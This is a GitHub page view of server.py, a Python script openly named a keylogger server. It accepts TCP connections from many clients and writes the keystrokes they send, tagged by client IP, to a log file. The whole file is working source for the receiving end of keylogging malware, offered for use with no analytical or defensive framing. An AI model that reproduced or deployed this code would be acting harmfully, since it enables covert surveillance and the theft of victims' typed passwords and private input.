-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
101 lines (83 loc) · 3.67 KB
/
server.py
File metadata and controls
101 lines (83 loc) · 3.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import socket
import threading
import time
from datetime import datetime
import argparse
class KeyloggerServer:
def __init__(self, host='0.0.0.0', port=12345, log_file='keylogs.txt'):
self.host = host
self.port = port
self.log_file = log_file
self.clients = []
self.server_socket = None
def log_keystroke(self, client_address, data):
"""Log keystroke data to file in clean format"""
try:
# Extract client IP from address tuple
client_ip = client_address[0]
# Clean the data (remove timestamps from client)
clean_data = data.strip()
# Create clean log entry
log_entry = f"[{client_ip}] [{clean_data}]\n"
# Print to console
print(f"[{client_ip}] [{clean_data}]")
# Write to file
with open(self.log_file, "a", encoding="utf-8") as f:
f.write(log_entry)
except Exception as e:
print(f"Error logging keystroke: {e}")
def handle_client(self, client_socket, client_address):
"""Handle keystrokes from a single client"""
print(f"New client connected: {client_address[0]}")
self.clients.append(client_socket)
try:
while True:
data = client_socket.recv(1024).decode('utf-8')
if not data:
break
# Log the received keystroke
self.log_keystroke(client_address, data)
except Exception as e:
print(f"Error with client {client_address[0]}: {e}")
finally:
self.clients.remove(client_socket)
client_socket.close()
print(f"Client disconnected: {client_address[0]}")
def start(self):
"""Start the server"""
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server_socket.bind((self.host, self.port))
self.server_socket.listen(5)
# Initialize log file
with open(self.log_file, "w", encoding="utf-8") as f:
f.write(f"Keylogger Server Started at {datetime.now()}\n")
f.write("Format: [Client IP] [Keystroke]\n")
f.write("=" * 50 + "\n")
print(f"Keylogger Server started on {self.host}:{self.port}")
print(f"Logging keystrokes to: {self.log_file}")
print("Waiting for clients...")
print("Format: [Client IP] [Keystroke]")
print("-" * 40)
try:
while True:
client_socket, client_address = self.server_socket.accept()
client_thread = threading.Thread(
target=self.handle_client,
args=(client_socket, client_address)
)
client_thread.daemon = True
client_thread.start()
except KeyboardInterrupt:
print("\nShutting down server...")
finally:
self.server_socket.close()
print("Server shut down")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Keylogger Server")
parser.add_argument("--host", default="0.0.0.0", help="Host to listen on")
parser.add_argument("--port", type=int, default=12345, help="Port to listen on")
parser.add_argument("--log", default="keylogs.txt", help="File to save logs")
args = parser.parse_args()
server = KeyloggerServer(host=args.host, port=args.port, log_file=args.log)
server.start()